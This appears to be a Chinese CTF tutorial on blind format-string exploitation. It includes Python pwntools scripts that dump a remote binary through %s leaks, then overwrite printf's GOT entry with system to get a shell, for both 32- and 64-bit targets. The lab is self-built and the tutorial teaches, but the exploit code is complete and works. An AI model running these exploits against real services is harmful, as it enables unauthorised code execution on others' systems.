判断字符串格式_Blind_pwn之格式化字符串
作者:SkYe合天智匯
可能需要提前了解的知識
- 格式化字符串原理&利用
- got & plt 調(diào)用關(guān)系
- 程序的一般啟動過程
原理
格式化字符串盲打指的是只給出可交互的 ip 地址與端口,不給出對應(yīng)的 binary 文件來讓我們無法通過 IDA 分析,其實這個和 BROP 差不多,不過 BROP 利用的是棧溢出,而這里我們利用的是無限格式化字符串漏洞,把在內(nèi)存中的程序給dump下來。
一般來說,我們按照如下步驟進(jìn)行
- 確定程序的位數(shù)(不同位數(shù)有些許差別)
- 確定漏洞位置
- 利用
使用條件
- 可以讀入 'x00' 字符的
- 輸出函數(shù)均是 'x00' 截斷的
- 能無限使用格式化字符串漏洞
32 位利用手法
實驗環(huán)境準(zhǔn)備
程序源碼如下:
#include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char *argv[]) {setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);int flag;char buf[1024];FILE* f;puts("What's your name?");fgets(buf, 1024, stdin);printf("Hi, ");printf("%s",buf);putchar('n');flag = 1;while (flag == 1){puts("Do you want the flag?");memset(buf,'0',1024);read(STDIN_FILENO, buf, 100);if (!strcmp(buf, "non")){printf("I see. Good bye.");return 0;}else{ printf("Your input isn't right:");printf(buf);printf("Please Try again!n");}fflush(stdout);}return 0; }編譯 32 位文件:
gcc -z execstack -fno-stack-protector -m32 -o leakmemory leakmemory.c用 socat 掛到端口 10001 上部署:
socat TCP4-LISTEN:10001,fork EXEC:./leakmemory實驗環(huán)境完成,如果是本地部署的話,等等在 exp 里面寫 remote("127.0.0.1",10001) 模擬沒有 binary 的遠(yuǎn)程盲打情況。
確定程序的位數(shù)
用 %p 看看程序回顯輸出的長度是多少,以此判斷程序的位數(shù)。這里看到回顯是 4 個字節(jié),判斷是 32 位程序。可以再多泄露幾個,都是 4 字節(jié)(含)以下的,確定為 32 位程序。
確定格式化字符串偏移
找到格式化字符串的偏移是多少,在后續(xù)操作中會用到。由于沒有 binary 不能通過調(diào)試分析偏移,就采取輸入多個 %p 泄露出偏移。為了容易辨認(rèn),字符串開始先填充 4 字節(jié) 的填充(64位8字節(jié)),然后再填入 %p 。
最后確認(rèn)偏移為 7 。
dump 程序
dump 程序應(yīng)該選哪個格式化字符串:
%n$s :將第 n 個參數(shù)的值作為地址,輸出這個地址指向的字符串內(nèi)容
%n$p :將第 n 個參數(shù)的值作為內(nèi)容,以十六進(jìn)制形式輸出
我們是需要 dump 程序,也就是想獲取我們所給定地址的內(nèi)容,而不是獲取我們給定的地址。所以應(yīng)該用 %n$s 把我們給定地址當(dāng)作指針,輸出給定地址所指向的字符串。結(jié)合前面知道格式化字符串偏移為 7 ,payload 應(yīng)該為:%9$s.TMP[addr] 。
注意:使用 %s 進(jìn)行輸出并不是一個字節(jié)一個字節(jié)輸出,而是一直輸出直到遇到 x00 截止符才會停止,也就是每次泄露的長度是不確定的,可能很長也可能是空。因為 .text 段很可能有連續(xù) x00 ,所以泄露腳本處理情況有:
除此之外,還有一個問題是泄露的起始地址在哪里?從各個大佬文章學(xué)到兩種做法:從 .text 段開始;從程序加載地方開始;兩種方法泄露出來程序,在 ida 中呈現(xiàn)有差別。
從程序加載地方開始
先來說省事的,從程序加載地方開始。程序加載地方 32 位和 64 位各不相同:
32 位:從 0x8048000 開始泄露
64 位:從 0x400000 開始泄露
下面是這條例題的泄露腳本,結(jié)合注解分析如何處理上面提到的問題:
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import binasciir = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name r.recv() r.sendline('nameaaa') r.recv()# leak begin = 0x8048000 text_seg ='' try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0: # nilbegin +=1text_seg += 'x00' except Exception as e:print e finally:print '[+]',len(text_seg)with open('dump_bin','wb') as f:f.write(text_seg)注解:
- 19-21 行:處理無關(guān)泄露的程序流程后,進(jìn)入格式化字符串漏洞輸入狀態(tài)
- 24 行:32 位系統(tǒng)加載地址
- 9 行:"%9$s.TMP" 中的 .TMP 既是填充對齊,也是分隔符,方便后面處理數(shù)據(jù)
- 14 行:使用binascii 將泄漏出來字符串每一個都從 ascii 轉(zhuǎn)換為 十六進(jìn)制,方便顯示
- 15 行:r.recvrepeat(0.2) 接受返回的垃圾數(shù)據(jù),方便下一輪的輸入
- 30 行:泄漏地址動態(tài)增加,假如泄漏 1 字節(jié)就增加 1 ;泄漏 3 字節(jié)就增加 3
- 31-33 行:處理泄漏長度為 0 ,也就是數(shù)據(jù)是 x00 的情況。地址增加 1 ,程序數(shù)據(jù)加 x00
運行之后,耐心等待泄漏完成。泄漏出來的程序是不能運行的,但可以在 ida 進(jìn)過處理可以進(jìn)行分析、找 plt 、got.plt 等。
將泄漏出來的程序,放入 ida ,啟動時選擇以 binary file 加載,勾選 Load as code segment,并調(diào)整偏移為: 0x8048000 (開始泄露的地址):
可以通過 shift+F12 查字符串定位到 main 函數(shù),然后直接 F5 反編譯:
基本結(jié)構(gòu)已經(jīng)出來了,盲打沒有源代碼,就需要根據(jù)傳入?yún)?shù)去判斷哪個 sub_xxx 是哪個函數(shù)了。比如輸出格式化字符串的 sub_8048490 就是 printf 。
從 .text 段開始
程序啟動過程:
從 _start 函數(shù)開始就是 .text 段,可以在 ida 中打開一個正常的 binary 觀察 text 段開頭第一個函數(shù)就是 _stat :(圖為 32 位程序)
先用 %p 泄露出棧上數(shù)據(jù),找到兩個相同地址,而且這個地址很靠近程序加載初地址(32位:0x8048000;64位:0x400000)。腳本如下:
from pwn import * import sysp = remote('127.0.0.1',10001)p.recv() p.sendline('nameaaa') p.recv()def where_is_start(ret_index=null):return_addr=0for i in range(400):payload = '%%%d$p.TMP' % (i)p.sendline(payload)p.recvuntil('right:')val = p.recvuntil('.TMP')log.info(str(i*4)+' '+val.strip().ljust(10))if(i*4==ret_index):return_addr=int(val.strip('.TMP').ljust(10)[2:],16)return return_addrp.recvrepeat(0.2)start_addr=where_is_start()最后在偏移 1164 和 1188 找到 text 段地址 0x8048510 ,可以對比上圖,上圖是這條例題的截圖:
泄露腳本和前面一樣只需要修改一下起始地址:
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import binascii context.log_level = 'info' r = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name r.recv() r.sendline('nameaaa') r.recv()# leak begin = 0x8048510 #begin = 0x8048000 text_seg ='' try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0: # nilbegin +=1text_seg += 'x00' except Exception as e:print e finally:print '[+]',len(text_seg)with open('dump_bin_text','wb') as f:f.write(text_seg)將泄露文件放入 ida 分析,啟動時選擇以 binary file 加載,勾選Load as code segment,并調(diào)整偏移為: 0x8048510 (開始泄露地址):
找到 main 函數(shù)在 0x0804860B ,需要將這部分定義為函數(shù)才能反編譯,右鍵地址隔壁的名稱 loc_804860B ,creat function 。
紅色部分就是沒有泄露出來的函數(shù),后面跟的就是函數(shù) plt 地址。
兩種方法各有不同,結(jié)合實際使用。
解題流程
著重記錄格式化字符串盲打,不一步一步分析這道題目漏洞(詳細(xì)分析:默小西博客)。這道題目思路是:
確定 printf 的 plt 地址
將泄露出來的程序,放入 ida 中分析獲得,函數(shù)名后半截就是地址 0x8048490 :
泄露 got.plt
和泄露程序 payload 高度相似:
payload = "%9$sskye" + p32(printf_plt) p.sendline(payload) # xffx25 junk code p.recvuntil('right:xffx25') printf_got_plt = u32(p.recv(4))注解:
為什么接收 'right:xffx25' ?
right: 是固定回顯,xffx25 是無用字節(jié)碼。實際上 0x8048490 的匯編是這樣的:
pwndbg> pdisass 0x8048490 ? 0x8048490 <printf@plt> jmp dword ptr [0x804a018] <0xf7e4d670>0x8048496 <printf@plt+6> push 0x180x804849b <printf@plt+11> jmp 0x8048450 # 字節(jié)碼 pwndbg> x /20wx 0x8048490 0x8048490 <printf@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb00x8048490 指向是一條跳轉(zhuǎn) got.plt 指令,我們需要其中跳轉(zhuǎn)的目標(biāo)地址。xffx25 就是跳轉(zhuǎn)指令的字節(jié)碼,我們就要先接收 2 字節(jié)垃圾數(shù)據(jù),然后再接收 4 字節(jié)的 got.plt 地址。
泄露 printf 函數(shù)的地址
構(gòu)造方法同上,但不需要接收 2 字節(jié)垃圾數(shù)據(jù):
payload = "%9$sskye" + p32(printf_got_plt) p.sendline(payload) p.recvuntil('right:') printf_got = u32(p.recv(4))泄露 libc 基址& system 地址
題目沒有給出 libc 。從泄露出來的 printf@got 去 libcdatabase 查詢其他函數(shù)偏移。
printf:0x00049670 system:0x0003ada0任意寫修改 printf@got.plt
payload = fmtstr_payload(7, {printf_got_plt: system_addr}) p.sendline(payload)exp
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : MrSkYe # @Email : skye231@foxmail.com # @File : leakmemory_remote.py from pwn import * import binascii context.log_level = 'debug' p = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)p.sendline(payload)print "leaking:", hex(addr)p.recvuntil('right:')resp = p.recvuntil(".TMP")ret = resp[:-4:]print "ret:", binascii.hexlify(ret), len(ret)remain = p.recvrepeat(0.2)return retprintf_plt = 0x8048490# name p.recv() p.sendline('nameaaa') p.recv()# leak printf@got.plt payload = "%9$sskye" + p32(printf_plt) p.sendline(payload) # xffx25 junk code p.recvuntil('right:xffx25') printf_got_plt = u32(p.recv(4)) log.info("printf_got_plt:"+hex(printf_got_plt))# leak printf@got payload = "%9$sskye" + p32(printf_got_plt) p.sendline(payload) p.recvuntil('right:') printf_got = u32(p.recv(4)) log.info("printf_got:"+hex(printf_got))# libcdatabase libc_base = printf_got - 0x00049670 log.info("libc_base:"+hex(libc_base)) system_addr = libc_base + 0x0003ada0 log.info("system_addr:"+hex(system_addr))# overwrite payload = fmtstr_payload(7, {printf_got_plt: system_addr}) p.sendline(payload) p.sendline('/bin/shx00')p.interactive()64 位利用手法
實驗環(huán)境準(zhǔn)備
還是使用 32 位的例題源碼,編譯 64 位程序:
gcc -z execstack -fno-stack-protector -o leakmemory_64 leakmemory.c用 socat 掛到端口 10001 上部署:
socat TCP4-LISTEN:10000,fork EXEC:./leakmemory實驗環(huán)境完成,如果是本地部署的話,等等在 exp 里面寫 remote("127.0.0.1",10000) 模擬沒有 binary 的遠(yuǎn)程盲打。
確定程序的位數(shù)
填充 8 字節(jié),然后再填入 %p ,回顯長度是 8 字節(jié)。
確定格式化字符串偏移
最后確認(rèn)偏移為 8 。
dump 程序
從程序加載地方開始,或者從 text 段開始可以的。這里不再找 text 段起始位置,直接從程序加載地方開始泄露。兩個位數(shù)程序腳本通用的,改一下參數(shù)即可。
64 位程序加載起始地址是:0x400000,下面是對比圖:
腳本還是那個腳本,改一下參數(shù)即可:
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import binascii context.log_level = 'info' #r = remote('127.0.0.1',10001) r = remote('127.0.0.1',10000)def leak(addr):payload = "%9$s.TMP" + p64(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name r.recv() r.sendline('moxiaoxi') r.recv()# leak begin = 0x400000#0x8048000 text_seg ='' try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0: # nilbegin +=1text_seg += 'x00' except Exception as e:print e finally:print '[+]',len(text_seg)with open('dump_bin_64','wb') as f:f.write(text_seg)ida 加載參數(shù)如圖:
通過字符串定位到 main 函數(shù),這里沒有識別為函數(shù),需要手動創(chuàng)建函數(shù)。在 0x0400826 右鍵 creat function ,然后就可以反匯編了。
點進(jìn) printf@plt ,里面是跳轉(zhuǎn)到 printf@got.plt 指令,也就是從 ida 知道了:
printf_plt = 0x4006B0 printf_got_plt = 0x601030解題思路與 32 位一致,利用腳本:
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : MrSkYe # @Email : skye231@foxmail.com # @File : leakmemory_64_remote.py from pwn import * import binascii context.log_level = 'debug' p = remote('127.0.0.1',10000)def leak(addr):payload = "%9$s.TMP" + p64(addr)p.sendline(payload)print "leaking:", hex(addr)p.recvuntil('right:')resp = p.recvuntil(".TMP")ret = resp[:-4:]print "ret:", binascii.hexlify(ret), len(ret)remain = p.recvrepeat(0.2)return retprintf_plt = 0x4006B0 printf_got_plt = 0x601030# name p.recv() p.sendline('moxiaoxi') p.recv()# leak printf@got payload = "%9$s.TMP" + p64(printf_got_plt+1) p.sendline(payload) p.recvuntil('right:') printf_got = u64(p.recv(5).ljust(7,'x00')+'x00')<<8 log.info("printf_got:"+hex(printf_got))# libcdatabase libc_base = printf_got - 0x055800 log.info("libc_base:"+hex(libc_base)) system_addr = libc_base + 0x045390 log.info("system_addr:"+hex(system_addr))one = p64(system_addr)[:2] two = p64(system_addr>>16)[:2]payload = "%9104c%12$hn%54293c%13$hn" + 'a'*7 payload += p64(printf_got_plt) + p64(printf_got_plt+2)p.sendline(payload) p.recv() p.sendline('/bin/shx00')p.interactive()更多實例
- axb_2019_fmt32
BUU 上有實驗環(huán)境,忽略提供的二進(jìn)制文件,就是盲打題目
- axb_2019_fmt64
BUU 上有實驗環(huán)境,忽略提供的二進(jìn)制文件,就是盲打題目
- SuCTF2018 - lock2
主辦方提供了 docker 鏡像: suctf/2018-pwn-lock2
參考
- ctf-wiki
- leak me
- pwn-盲打
實驗推薦
格式化(字符串)溢出實驗
https://www.hetianlab.com/expc.do?ec=2a2450e9-563e-4d99-b0ab-089d65ba7d4d
(通過該實驗,了解格式化溢出原理并掌握其方法)
聲明:筆者初衷用于分享與普及網(wǎng)絡(luò)知識,若讀者因此作出任何危害網(wǎng)絡(luò)安全行為后果自負(fù),與合天智匯及原作者無關(guān)!
總結(jié)
以上是生活随笔為你收集整理的判断字符串格式_Blind_pwn之格式化字符串的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 小妲己智能机器人要连接wifi吗_“能扫
- 下一篇: 画师id_二次元小姐姐:画师OBM 大庭